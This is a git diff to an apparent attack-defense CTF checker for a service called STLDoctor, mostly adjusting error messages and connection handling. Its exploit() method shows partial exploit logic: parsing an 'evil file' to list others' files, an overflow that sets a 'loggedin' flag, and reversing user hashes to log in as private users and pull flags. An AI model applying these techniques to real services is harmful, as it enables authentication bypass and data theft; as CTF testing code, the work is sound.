fixed exploits in checker, added code for enochecker_test

1 files changed, 17 insertions, 10 deletions

diff --git a/checker/src/checker.py b/checker/src/checker.py
index 2e6bc87..8be5213 100644
--- a/checker/src/checker.py
+++ b/checker/src/checker.py
@@ -180,7 +180,6 @@ class STLDoctorChecker(BaseChecker):
         # Parse ID
         _ = conn.recvline()
         line = conn.recvline()
-        self.debug(line)
         try:
             modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
             if modelid == b"": raise Exception
@@ -270,7 +269,7 @@ class STLDoctorChecker(BaseChecker):
             self.closeconn(conn)
             self.postdb(modelid=modelid, modelname=modelname, auth=authstr)
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid putflag variant ({self.variant_id}) provided")
 
     def getflag(self):  # type: () -> None
         if self.variant_id == 0:
@@ -287,7 +286,7 @@ class STLDoctorChecker(BaseChecker):
             assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents")
             self.closeconn(conn)
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid getflag variant ({self.variant_id}) provided")
 
     def putnoise(self):  # type: () -> None
         if self.variant_id == 0:
@@ -307,7 +306,7 @@ class STLDoctorChecker(BaseChecker):
             self.closeconn(conn)
             self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents, auth=authstr)
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid putnoise variant ({self.variant_id}) provided")
 
     def getnoise(self):  # type: () -> None
         if self.variant_id == 0:
@@ -322,7 +321,7 @@ class STLDoctorChecker(BaseChecker):
             self.check_getfile(conn, modelname, solidname, contents, modelid)
             self.closeconn(conn)
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid noise variant ({self.variant_id}) provided")
 
     def havoc(self):  # type: () -> None
         if self.variant_id == 0:
@@ -334,7 +333,7 @@ class STLDoctorChecker(BaseChecker):
         elif self.variant_id == 3:
             self.havoc_upload('bin', True)
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid havoc variant ({self.variant_id}) provided")
 
     def exploit(self):  # type: () -> None
         if self.variant_id == 0:
@@ -349,6 +348,7 @@ class STLDoctorChecker(BaseChecker):
             # Parse evil file
             conn = self.openconn()
             resp = self.getfile(conn, name, download=False)
+            conn.write("search last\n")
             filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l]
             if len(filelist) == 0:
                 raise BrokenServiceException("Failed to list files through search")
@@ -363,6 +363,8 @@ class STLDoctorChecker(BaseChecker):
                 found = self.search_flag_bytes(fileinfo)
                 if found is not None or i == len(filelist) - 1:
                     break
+
+                # Parse evil file again for next iter
                 self.getfile(conn, name, download=False)
                 conn.write("search last\n")
                 conn.recvuntil("?")
@@ -381,36 +383,41 @@ class STLDoctorChecker(BaseChecker):
                     "Exploit did not set 'loggedin' variable via overflow")
             conn.write("list\n")
             resp = conn.recvuntil(self.prompt)
+            self.debug("List response: " + str(resp))
             users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
             if len(users) == 0:
                 raise BrokenServiceException("Unable to list private user hashes")
             self.closeconn(conn)
 
             # Login as each private user
-            conn = self.openconn()
             found = None
             for u in users:
+                conn = self.openconn()
                 self.debug(f"Logging in as user with id {u}")
+
                 user = self.reverse_hash(u.decode())
                 if user == b"":
                     raise BrokenServiceException("Failed to find hash preimage")
                 conn.write(b"auth " + user + b"\n")
+
                 resp = conn.recvuntil(self.prompt)
                 if b"Welcome back" not in resp:
-                    raise BrokenServiceException(f"Reversing of hash {u} returned invalid preimage {user}")
+                    raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}")
+
                 conn.write("list\n")
                 resp = conn.recvuntil(self.prompt)
                 names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
+                self.closeconn(conn)
+
                 found = self.search_flag_bytes(names)
                 if found is not None:
                     break
-            self.closeconn(conn)
 
             if found is None:
                 raise BrokenServiceException("Exploit for flagstore 2 failed")
             return found
         else:
-            raise EnoException(f"Invalid variant_id ({self.variant_id}) provided")
+            raise EnoException(f"Invalid exploit variant ({self.variant_id}) provided")
 
 
 app = STLDoctorChecker.service  # This can be used for uswgi.